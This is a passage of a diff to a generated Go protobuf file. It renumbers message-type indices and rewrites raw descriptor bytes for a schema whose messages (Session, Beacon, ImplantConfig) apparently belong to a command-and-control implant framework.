*MonitoringProvider) String() string { func (*MonitoringProvider) ProtoMessage() {} func (x *MonitoringProvider) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[116] + mi := &file_clientpb_client_proto_msgTypes[122] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10840,7 +11323,7 @@ func (x *MonitoringProvider) ProtoReflect() protoreflect.Message { // Deprecated: Use MonitoringProvider.ProtoReflect.Descriptor instead. func (*MonitoringProvider) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{116} + return file_clientpb_client_proto_rawDescGZIP(), []int{122} } func (x *MonitoringProvider) GetID() string { @@ -10886,7 +11369,7 @@ type ResourceID struct { func (x *ResourceID) Reset() { *x = ResourceID{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[117] + mi := &file_clientpb_client_proto_msgTypes[123] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10899,7 +11382,7 @@ func (x *ResourceID) String() string { func (*ResourceID) ProtoMessage() {} func (x *ResourceID) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[117] + mi := &file_clientpb_client_proto_msgTypes[123] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10912,7 +11395,7 @@ func (x *ResourceID) ProtoReflect() protoreflect.Message { // Deprecated: Use ResourceID.ProtoReflect.Descriptor instead. func (*ResourceID) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{117} + return file_clientpb_client_proto_rawDescGZIP(), []int{123} } func (x *ResourceID) GetID() string { @@ -10961,1739 +11444,1806 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x64, 0x41, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x3b, 0x0a, 0x0d, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x93, 0x05, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, - 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, - 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, - 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, - 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, - 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, - 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, - 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, - 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, - 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, - 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, - 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, - 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, - 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, - 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, - 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, - 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, - 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a, 0x06, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, - 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, - 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, - 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, - 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, - 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, - 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, - 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, - 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, - 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, - 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, - 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, - 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, - 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, - 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, - 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, - 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1c, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, - 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x07, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0xfe, 0x01, 0x0a, 0x0a, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, 0x20, - 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, - 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, - 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, - 0x6e, 0x49, 0x44, 0x12, 0x2a, 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, - 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, - 0x63, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, - 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, - 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x97, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x3c, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x52, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, - 0x69, 0x6c, 0x64, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, - 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x49, 0x44, - 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, - 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, - 0x74, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, - 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, - 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, - 0x41, 0x52, 0x43, 0x48, 0x12, 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, - 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, - 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, - 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, - 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, - 0x65, 0x64, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, - 0x62, 0x6c, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4d, - 0x54, 0x4c, 0x53, 0x18, 0x35, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, - 0x64, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, - 0x65, 0x48, 0x54, 0x54, 0x50, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x48, 0x54, 0x54, 0x50, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x6c, - 0x75, 0x64, 0x65, 0x57, 0x47, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x57, 0x47, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, - 0x65, 0x44, 0x4e, 0x53, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x49, 0x6e, 0x63, 0x6c, - 0x75, 0x64, 0x65, 0x44, 0x4e, 0x53, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, - 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x50, 0x69, 0x70, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0f, 0x49, 